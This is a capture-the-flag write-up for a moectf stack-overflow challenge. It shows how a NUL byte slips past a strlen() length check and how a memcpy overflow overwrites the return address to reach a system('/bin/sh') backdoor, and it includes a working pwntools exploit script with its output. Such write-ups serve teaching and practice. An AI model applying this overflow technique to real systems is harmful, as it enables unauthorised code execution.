The original Chinese article was written by a human and only proofread with generative AI. This English version was translated with AI.
Once again, open the binary in IDA.
int __fastcall main(int argc, const char **argv, const char **envp)
{
char dest[24]; // [rsp+0h] [rbp-20h] BYREF
size_t n; // [rsp+18h] [rbp-8h] BYREF
init(argc, argv, envp);
puts("What can u say?");
__isoc99_scanf("%255s", str);
puts("So,what size is it?");
__isoc99_scanf("%zu", &n);
len = strlen(str);
if ( (unsigned __int64)len > 0x18 )
{
puts("Oh,too much.");
exit(1);
}
if ( !strncmp(str, "meow", 4uLL) )
memcpy(dest, str, n);
else
strncpy(dest, str, n);
puts("You're right.");
return 0;
}
Notice that
strlen()is used here to enforce a maximum length of0x18.However,
strlen()stops at the first\0(which is not included in the length), and the user-supplied lengthnis not checked separately.We can therefore place a
\0within the first0x19bytes to bypass the check.
Furthermore:
memcpy(dest, str, n); strncpy(dest, str, n);
strncpystops copying as soon as it encounters\0.Therefore, we need the
memcpybranch, which requires the first four characters ofstrto bemeow.
Looking more closely, we find:
int backdoor()
{
return system("/bin/sh");
}
This looks like a classic stack overflow that overwrites the return address.
We therefore need to craft the string and n so that they overwrite the function’s return address.
text:0000000000401236 ; int backdoor()
.text:0000000000401236 public backdoor
.text:0000000000401236 backdoor proc near
.text:0000000000401236 ; __unwind {
.text:0000000000401236 endbr64
.text:000000000040123A push rbp
.text:000000000040123B mov rbp, rsp
.text:000000000040123E lea rax, command ; "/bin/sh"
.text:0000000000401245 mov rdi, rax ; command
.text:0000000000401248 call _system
.text:000000000040124D nop
.text:000000000040124E pop rbp
.text:000000000040124F retn
.text:000000000040124F ; } // starts at 401236
.text:000000000040124F backdoor endp
The target address is 0x40123E.
Construct the first 0x18 bytes as b'meow' + b'\0' * (0x18 - 0x4).
The overflow also overwrites n, so after the first 0x18 bytes we place an eight-byte value produced by p64().
Next come eight arbitrary padding bytes, followed by the target address packed with p64().
Pwntools script:
from pwn import *
import ctypes
context(arch='amd64', os='linux', log_level='info')
io = connect("127.0.0.1", 24461)
add = 0x40123e
io.sendline(b'meow' + b'\0' * 0x14 + p64(0x18 + 0x8 + 0x8 + 0x8) + b'A' * 8 + p64(add))
io.sendline(str(0x18 + 0x18).encode())
io.interactive()
Output:
[x] Opening connection to 127.0.0.1 on port 24461
[x] Opening connection to 127.0.0.1 on port 24461: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 24461: Done
[*] Switching to interactive mode
What can u say?
So,what size is it?
You're right.
cat flag
moectf{THIS_IS_FLAG}
[*] Interrupted
[*] Closed connection to 127.0.0.1 port 24461